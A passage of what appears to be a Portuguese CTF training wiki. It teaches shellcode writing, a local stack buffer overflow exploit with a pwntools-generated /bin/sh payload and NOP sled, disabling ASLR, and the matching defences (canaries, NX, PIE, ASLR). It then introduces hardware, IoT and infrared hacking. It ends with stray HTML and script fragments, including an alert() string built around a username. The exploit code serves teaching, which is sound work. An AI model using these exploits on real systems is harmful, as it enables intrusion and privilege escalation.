abrir uma shell, é interessante quando há um programa rodando em uma porta de uma máquina na rede que você pode interagir ou quando esse programa possui permissões maiores que a do seu usuário atual, pois ao abrir uma shell com seu shellcode, você terá acesso à maquina com possivelmente as mesmas permissões desse tal programa. Portanto você pode conseguir acesso a uma máquina ou realizar uma escalada de privilégios. Vamos tentar fazer um shellcode simples para entender como ele funciona. Primeiro, vamos fazer um programa em C para testar se um shellcode funciona. O programa será o seguinte: ```c void (*shellcode)() = "[insira seu shellcode aqui]"; int main(void) { (*shellcode)(); return 0; } ``` Ele será compilado com as flags do gcc `-z execstack` e `-Wno-incompatible-pointer-types`, podendo ser adicionado o `-m32` para testar shellcodes em 32-bits. ``` gcc testador.c -o testador -z execstack -Wno-incompatible-pointer-types -m32 ``` Agora que temos o testador, vamos tentar escrever um programa simples em assembly que simula a função `exit()` em C com o parâmetro `10` e salvaremos como `exit.asm`. ``` section .text ; Define que essa região do código é para as instruções global _start ; Define que o programa começa por _start _start: mov eax, 1 ; eax ( código da syscall ) = 1 ( exit ) mov ebx, 10 ; ebx ( parâmetro da syscall ) = 10 int 0x80 ; Chama a syscall ( exit(10) ) ``` Para montarmos esse programa, usaremos o `nasm` e para linkar o objeto montado pelo nasm, usaremos o `ld`. ``` nasm -f elf32 exit.asm -o exit.o ld -m elf_i386 exit.o -o exit ``` Podemos executá-lo com `./exit` e ver a código de saída do programa com `echo $?`. Assim, vemos que o nosso programa está funcionando como deveria. Para pegarmos os bytes desse programa, podemos usar o objdump. Digitando `objdump -D exit`: ``` exit: file format elf32-i386 Disassembly of section .text: 08049000 <_start>: 8049000: b8 01 00 00 00 mov $0x1,%eax 8049005: bb 0a 00 00 00 mov $0xa,%ebx 804900a: cd 80 int $0x80 ``` Portanto, os bytes do programa são: ``` b8 01 00 00 00 bb 0a 00 00 00 cd 80 ``` Colocando eles em nosso testador: ```c void (*shellcode)() = "\xb8\x01\x00\x00\x00\xbb\x0a\x00\x00\x00\xcd\x80"; int main(void) { (*shellcode)(); return 0; } ``` Compilando e checando o código de saída: ```bash gcc testador.c -o testador -z execstack -Wno-incompatible-pointer-types -m32 ./testador echo $? ``` Podemos ver que o código de saída é 10, como esperado. Agora que temos uma ideia do que é shellcode, vamos testar um shellcode que abre uma shell. O pwntools possui uma ferramenta chamada `shellcraft` que cria um shellcode. O shellcode dado vai estar em assembly e podemos transformar em bytes usando a ferramenta `asm()`. Testando no interpretador python: ``` >>> from pwn import * >>> context.arch = 'i386' >>> context.bits = 32 >>> asm(shellcraft.sh()) b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80' ``` No caso, o shellcode acima será para sistemas em 32-bits pois definimos `context.arch` como `i386` e `context.bits` como `32`. Podemos criar um para sistemas 64-bits definindo `context.arch` como `amd64` e `context.bits` como `64`: ``` >>> from pwn import * >>> context.arch = 'amd64' >>> context.bits = 64 >>> asm(shellcraft.sh()) b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' ``` Se quisermos ver o número de bytes que esse shellcode ocupa, podemos usar `len(asm(shellcraft.sh()))`. Podemos ver que o tamanho do shellcode de 32-bits é 44 bytes e o tamanho do de 64-bits é 48 bytes. Há shellcodes menores que esses pela internet, então se o espaço que você tiver para escrever o shellcode for menor que isso, você pode procurar por um desses ou fazer o seu próprio. Se copiarmos esses bytes para nosso testador, não irá funcionar, pois do jeito que está apresentado nessa string de bytes, conjunto de bytes como "\x814", que deveria ser interpretado como o caractere "\x81" + o caractere "4" será interpretado pelo compilador em C como caracteres cujos hexadecimais são "\x814". Para contornar esse problema, podemos separá-los em várias strings, por exemplo, transformando `"\x01\x01\x814$\x01\x01\x01"` em `"\x01\x01\x81" "4$\x01\x01\x01"`. Dessa forma, no nosso testador, o shellcode para 32-bits fica: ```c void (*shellcode)() = "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x81""4$ri\x01\x01""1\xc9Qj\x04Y\x01\xe1Q\x89\xe1""1\xd2j\x0bX\xcd\x80"; int main(void) { (*shellcode)(); return 0; } ``` Compilando novamente com `gcc testador.c -o testador -z execstack -m32 -Wno-incompatible-pointer-types` e executando, podemos ver que conseguimos uma shell `sh`. Podemos testar alguns comandos como o `ls` ou sair dessa shell com Ctrl+D. Agora vamos juntar o buffer overflow com o shellcode. Para isso, vamos criar um programa com um buffer overflow. O programa será o seguinte: ```c #include #include int main(int argc, char *argv[]) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } ``` Nesse caso, usaremos o `strcpy()` para não termos que nos preocupar com o caso de o shellcode ter um espaço ou um '\n' no meio e o scanf() parar de ler. Caso fossemos lidar com o `scanf()`, teriamos que fazer um shellcode que não possua esses caracteres no meio. O strcpy() para apenas no '\0', então só precisamos garantir que não há bytes nulos no shellcode. Compilaremos esse programa da seguinte forma: ``` gcc shellcode.c -o shellcode -z execstack -fno-stack-protector -m32 -mpreferred-stack-boundary=2 -no-pie ``` Podemos verificar se está tudo correto usando o checksec do pwntools pelo seguinte comando: ``` checksec shellcode ``` Se aparecer a seguinte mensagem com o NX disabled, está tudo certo: ``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` Caso apareça essa outra mensagem com o NX enabled: ``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` Você precisará usar o `execstack` para removê-lo, caso contrário, não poderemos executar a stack. ``` execstack -s shellcode ``` Abrindo no gdb, vemos que a organização da stack na main está da seguinte forma: ``` Dump of assembler code for function main: 0x08049196 <+0>: endbr32 0x0804919a <+4>: push ebp 0x0804919b <+5>: mov ebp,esp 0x0804919d <+7>: push ebx 0x0804919e <+8>: sub esp,0x8 [...] 0x080491b4 <+30>: lea edx,[ebp-0xc] [...] ``` Portanto temos 4 bytes do ebp + 4 bytes do ebx + 8 bytes do stack frame, que no caso é só composto pelo nosso buffer, até começarmos a sobreescrever o endereço de retorno. Nosso shellcode será colocado após o endereço de retorno, já que não há espaço no buffer e também porque tem grandes chances de um push do shellcode acabar sobrescrevendo partes do próprio shellcode se colocado antes do endereço de retorno, que será o topo da stack na execução do shellcode. A próxima coisa que faremos é pegar o endereço da stack, para sabermos onde começará o shellcode. Podemos dar `break main` no gdb para que a stack esteja num ponto que há apenas o endereço de retorno na stack e assim, o endereço em que colocaremos nosso shellcode será `esp + 4`. Como estamos usando o argumento da main para escrever o shellcode e esse argumento será colocado na stack pois é um argumento de função, se colocarmos um argumento de tamanho diferente de nosso payload final, o endereço que pegarmos da stack não será o mesmo de quando executarmos nosso payload. Por isso, vamos colocar um argumento que simule os 16 bytes de padding, mais 4 do endereço de retorno e mais 44 bytes do nosso shellcode, totalizando 64 bytes. Podemos usar o `$()` para colocar um comando no lugar do argumento e podemos usar o Python com a flag `-c` para que ele execute o que estiver entre aspas. ``` break main run $(python3 -c "print('A' * 64)") ``` Para esse exemplo, o endereço que estará o shellcode será 0xffffd390, mas ele varia de terminal para terminal por causa das variáveis de ambiente que são colocadas antes da stack. Sairemos do gdb e abriremos o Python 3 para começar nosso exploit. Nosso payload será 16 bytes aleatórios para chegarmos no endereço de retorno, mais 4 bytes do endereço de retorno e depois nosso shellcode. Escreveremos o seguinte script: ``` from pwn import * # Faz o buffer overflow payload = b'A' * 16 # Padding payload += p32(0xffffd390) # Endereço de retorno # Adiciona o shellcode context.arch = 'i386' # Arquitetura i386 context.bits = 32 # 32-bits payload += asm(shellcraft.sh()) # Concatena o shellcode # Escreve em um arquivo f = open('exploit.txt', 'wb') # Abre um arquivo para escrita f.write(payload) # Escreve o payload nesse arquivo f.close() # Fecha o arquivo ``` Se formos para o gdb e executarmos o programa com nosso arquivo de payload como argumento: ``` run $(cat exploit.txt) ``` Podemos ver que ele abrirá uma shell `sh`. Porém, uma shell no GDB não pode te dar permissões a mais e será uma execução local, então temos que ver se o exploit funciona também no programa de verdade. Se tentarmos executar no programa original: ``` ./shellcode $(cat exploit.txt) ``` Muito provavelmente irá causar um segmentation fault sem abrir a shell. Um motivo disso é que as variáveis de ambiente dentro e fora do GDB são diferentes e por isso, a stack não estará exatamente no mesmo lugar. Outro motivo é que o ASLR provavelmente deve estar habilitado na máquina. Veremos mais para frente, mas em resumo, por causa do ASLR, a stack pode ser colocada em um lugar diferente a cada execução. Há diversas formas de contornar isso. Podemos desabilitar o ASLR usando `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space` e usar uma ferramenta chamada NOP sled. NOP é uma instrução que não faz nada e em binário, ela é equivalente ao byte 0x90. Quando você junta vários desses NOPs, você forma um NOP sled. Esse NOP sled pode ser colocado antes do shellcode para que ele vá executando esse "nada" até chegar ao shellcode, permitindo assim uma maior margem de erro. Vamos desabilitar o ASLR e adicionar um NOP sled de 1000 bytes ao nosso exploit. Para isso, teremos que pegar o novo endereço da stack, baseado em um argumento de 64+1000 bytes. Então abrimos o GDB e executamos novamente os seguintes comandos: ``` break main run $(python3 -c "print('A' * 1064)") print $esp+0x4 ``` Agora com o novo endereço, que nesse exemplo é 0xffffcf90, modificamos nosso script em Python para o novo endereço e colocamos um NOP sled de 1000 bytes logo antes do shellcode. Também usaremos o endereço que pegamos somado com aproximadamente metade do NOP sled, para caso o começo do NOP sled no GDB esteja antes do começo do NOP sled na stack real. Caso não esteja, ainda é muito provável que mesmo somando metade, ainda acertaremos o NOP sled. ``` #!/usr/bin/env python3 from pwn import * # Faz o buffer overflow payload = b'A' * 16 # Padding payload += p32(0xffffcf90+0x200) # Endereço de retorno + aproximadamente metade do NOP sled # Adiciona o shellcode context.arch = 'i386' # Arquitetura i386 context.bits = 32 # 32-bits payload += b'\x90' * 1000 # Adiciona o NOP sled payload += asm(shellcraft.sh()) # Concatena o shellcode # Escreve em um arquivo f = open('exploit.txt', 'wb') # Abre um arquivo para escrita f.write(payload) # Escreve o payload nesse arquivo f.close() # Fecha o arquivo ``` Testando no programa original: ``` ./shellcode $(cat exploit.txt) ``` Provavelmente você conseguiu uma shell. Se testar no GDB, ele deve funcionar também. Caso não tenha conseguido, tente aumentar o tamanho do NOP sled e/ou mudar o offset em relação ao endereço original, que nesse caso foi usado 0x200 (aproximadamente metade do NOP sled). # Proteções ## Proteções da stack Agora que sabemos de alguns ataques, vamos olhar algumas das formas de proteção contra tais ataques. Nos exemplos de buffer overflow, compilamos nossos programas com `-fno-stack-protector`. Isso evita que o GCC compile nosso programa com o `-fstack-protector`. Essa proteção coloca todos os buffers entre as variáveis normais e os registradores salvos na stack (como o ebp). Dessa forma, ela evita que as variáveis normais sejam sobrescritas por um buffer overflow. Além disso, ela também coloca um espaço extra no fim do stack frame, chamado de stack canary, que é atribuido um valor secreto que muda toda vez que o programa é executado. No fim da função, esse valor será verificado e caso tenha sido alterado, a função `__stack_chk_fail()` será chamada, exibindo uma mensagem de erro de stack smashing e finalizará o programa. Há também o NX bit, que previne a execução de certas áreas da memória, impedindo assim a execução de shellcodes nessas áreas. A stack costuma ser uma das regiões de memória protegidas pelo NX bit. Quando estavamos vendo shellcode, compilamos o programa com `-z execstack` e também usamos o `execstack -s` para removê-lo. Podemos habilita-lo explicitamente com `-z noexecstack` e `execstack -c`. ## PIC/PIE e ASLR Além de delimitações de buffer que o programador pode colocar para evitar buffer overflow e proteções da stack, há algumas medidas de segurança para evitar execução de código arbitrário também. Uma delas é o **ASLR**. Mas antes de falar sobre ASLR, vamos falar sobre o **PIE**. **Position-Independent Executable (PIE)** são binários executáveis que fazem o uso de **Position-Independent Code (PIC)** em todo seu código. Position-Independent Code, como o nome diz, são códigos que não dependem de sua posição para serem executados, ou seja, seu endereço não é hard-coded no código do programa. O ASLR, Address Space Layout Randomization, é uma técnica de segurança que aleatorializa as posições das regiões da memória, como por exemplo a stack, a heap e as bibliotecas compartilhadas. Isso deixa os endereços mais difíceis de serem adivinhados por um atacante, dificultando ataques envolvendo mudança do fluxo de execução e de escrita arbitrária. O PIE fornece uma maior eficácea para o ASLR, já que funções do executável principal também recebem o tratamento de bibliotecas compartilhadas e, portanto, podem ser randomizadas pelo ASLR. O PIE pode ser habilitado com a flag de compilação `-pie` e desabilitado com `-no-pie`. O ASLR pode ser habilitado mudando o `/proc/sys/kernel/randomize_va_space` para 2 e desabilitado mudando para 0. # Hardware # Introdução ao Hardware Hacking Esse tipo hacking, como o próprio nome já diz, lida com a manipulação e exploração de aparelhos físicos, sistemas embarcados, e tecnologias afins. Dentro desse tema vasto é possível destacar algumas áreas de interesse principais que são tratadas pela frente: ## - IOT Hacking O IOT, também conhecido em português como internet das coisas, é um conceito moderno dentro da área da tecnologia que se refere à interconexão digital dos objetos do dia-a-dia com a internet e até mesmo entre si. O uso de dispositivos desse tipo tem se tornado muito comum nos dias de hoje, entretanto a segurança empregada na fabricação desses dispositivos deixa um pouco a desejar. Um exemplo famoso de exploits que usaram das vulnerabilidades desses aparelhos foi a Mirai Botnet ()). Alguns dos ataques comuns aos dispositivos IOT incluem, mas não restritos a: * Explorar pinos de debugging abertos para o usuário, como Interface serial ou JTAG * Dessoldar chips e extrair a memória ou modificá-la Em CTFs, esse tipo de hacking tem um enfoque em eletrônica e em challs de forensics que fornecem um dump de memória para ser analisado. ## - Telecomunicação Essa área estuda a comunicação de dispositivos por ondas eletromagnéticas e transmissão de dados a longa distância, sendo essas possívelmente interceptáveis usando SDRs e técnicas de decodificação de sinais. É importante também o conhecimento de tecnologias novas como RFID, NFC, ZIGBEE e BLE. Em CTFs os challs envolvem algum tipo de processamento e interpretação de sinais. ## - Eletrônica Envolve um contato mais direto com circuitos eletrônicos e seu funcionamento, sendo algo bem comum a engenharia reversa e ataques diretamente à chips, PCBs e circuitos integrados na placa principal do aparelho. Um exemplo comum do comprometimento da segurança desses dispositivos são desbloqueios de videogame, e smart cards de TVs a cabo. Outros exemplos de ataque incluem a extração de segredos a partir do consumo de energia e as suas variações (), ou a pertubação do comportamento de um chip para obter um resultado conveniente ao atacante (). Existem challenges que envolvem a engenharia reversa de projetos em Verilog, VHDL ou netlist. # Introdução ao Infravermelho O infravermelho, também conhecido como infrared ou IR, é a radiação eletromagnética com comprimentos de onda maiores do que os da luz visível, portanto é invisível ao olho humano. O comprimento de onda mais comum quando se fala de IR em aparelhos comerciais é algo em torno de 950 nm. Essa radiação foi descoberta em 1800 pelo astrônomo Sir William Herschel, porém demorou bastante tempo para que ela fosse usada como meio de comunicação bidirecional pelos seres humanos, sendo um exemplo muito comum os controles remotos de televisão. Em aparelhos eletrônicos, a transmissão de dados por meio do infravermelho se dá baseada na comunicação entre dois componentes: um transmissor, normalmente algo como um diodo (led), e um receptor, que tem o trabalho de fazer a demodulação dos dados. ## Modulação A modulação é a forma que o sinal é processado no receptor e consiste em atribuir um padrão de pulsações para os dados que estão sendo mandados pelo "piscar" do transmissor, funcionando como um protocolo. Um esquema de "piscagem" comum para aparelhos infravermelhos é a de 38kHz. Existem vários tipos diferentes de modulações que podem ser usadas para encodar os dados como a Mancheter Encoding, ou a Pulse-Lenght encoding. Mais informações acerca desses esquemas podem ser vistas no link ().

Hello, my World!

Olá

Página de teste

' + username + '

' + 'alert("oi")' + '

' + '' + '